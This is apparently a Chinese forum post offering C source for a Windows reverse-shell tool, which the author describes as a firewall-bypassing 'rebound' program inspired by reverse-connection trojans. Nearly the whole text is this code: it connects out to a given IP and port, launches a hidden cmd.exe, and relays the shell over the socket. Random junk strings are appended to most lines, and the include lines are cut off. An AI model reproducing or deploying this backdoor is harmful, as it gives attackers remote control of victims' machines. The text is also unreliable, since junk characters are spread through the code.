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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v2r&('pV  
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/* ============================== n\Fp[9+Z\  
Rebound port in Windows NT @E( 7V(m/  
By wind,2006/7 HoV^Y6  
===============================*/ d)cOhZy  
#include '{ I_\~*  
#include =deMd`=J  
fDE%R={!n5  
#pragma comment(lib,"wsock32.lib") C51bc6V  
CQ`=V2:"ON  
void OutputShell(); LE5.b]tv2  
SOCKET sClient; ^;,M}|<h  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4n#ov=)-~  
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void main(int argc,char **argv) >3 yk#U|7}  
{  [,n c  
WSADATA stWsaData; ~DRmON5 M  
int nRet; "mL++>ZSQ  
SOCKADDR_IN stSaiClient,stSaiServer; c4&'D;=  
73{'k K  
if(argc != 3) /525w^'pd  
{ f/WQ[\<!I  
printf("Useage:\n\rRebound DestIP DestPort\n"); iGB_{F~t4}  
return; T=hho Gn  
} 0;S,tJg  
,B4VT 96*  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6sIL.S~c)  
PB%-9C0  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L %ip>  
ReiB $y6  
stSaiClient.sin_family = AF_INET; 26X+ }^52  
stSaiClient.sin_port = htons(0); m)V/L]4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f\'{3I29  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N#lDW~e'  
{ 'r(1Nj  
printf("Bind Socket Failed!\n"); -a*K$rnB  
return; [I4ege>  
} Kvsh  
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stSaiServer.sin_family = AF_INET; s yU9O&<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o6f_l^+H  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nJPyM/p  
vR0 ];{  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cvwhSdZu8  
{ dKl^jsd  
printf("Connect Error!"); hTP:[w)  
return; 6wco&7   
} 98 8]}{w  
OutputShell(); | mu+9   
} gP+fN$5'd  
eh,~^x5  
void OutputShell() iU6Gp-<M ,  
{ Ai D[SR  
char szBuff[1024]; jx acg^c  
SECURITY_ATTRIBUTES stSecurityAttributes; BBcV9CGU  
OSVERSIONINFO stOsversionInfo; LZMYr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hhoEb(BA  
STARTUPINFO stStartupInfo; Y#!h9F  
char *szShell; 4f(Kt,0  
PROCESS_INFORMATION stProcessInformation; 6} FO[  
unsigned long lBytesRead; V]*b4nX7  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ng:Q1Q9N  
wts=[U`(  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uEc<}pV  
stSecurityAttributes.lpSecurityDescriptor = 0; - 0?^#G}3}  
stSecurityAttributes.bInheritHandle = TRUE; g$dsd^{O7  
JG{j)O|L  
.z13 =yv  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 52upoU>}2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [ sd;`xk  
7JSNYTH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =^ T\Xs;GK  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P{Q=mEQ  
stStartupInfo.wShowWindow = SW_HIDE; [r/k% <  
stStartupInfo.hStdInput = hReadPipe; s;UH]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; PRNoqi3sY  
Kx_h1{  
GetVersionEx(&stOsversionInfo); v]B L[/4  
@ 49nJi  
switch(stOsversionInfo.dwPlatformId) VLBE'3Qg 1  
{ 5k|9gICyd*  
case 1: eT2*W$  
szShell = "command.com"; t>8XTqqi  
break; h*u`X>!!  
default: iAa;6mH  
szShell = "cmd.exe"; "`6n6r42  
break; AkOO )0  
} \.mI  
$%VuSrZ&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Qp`gswvE  
U-n;xX0=  
send(sClient,szMsg,77,0); 0ZQ'_g|%  
while(1) ccd8O{G.M  
{ [pVamE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /c):}PJ^#7  
if(lBytesRead) 4 Jx"A\5*G  
{ G\NPV'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  *.)tG  
send(sClient,szBuff,lBytesRead,0); 9W5onn  
} wcDRH)AW.  
else !bV5Sr^  
{ ]({~,8s  
lBytesRead=recv(sClient,szBuff,1024,0); ] }f9JNf$  
if(lBytesRead<=0) break; Pz$R(TV  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y\{%\$  
} ax 41N25  
} M:5b4$Qh<  
C* nB  
return; }MUn/ [x  
}
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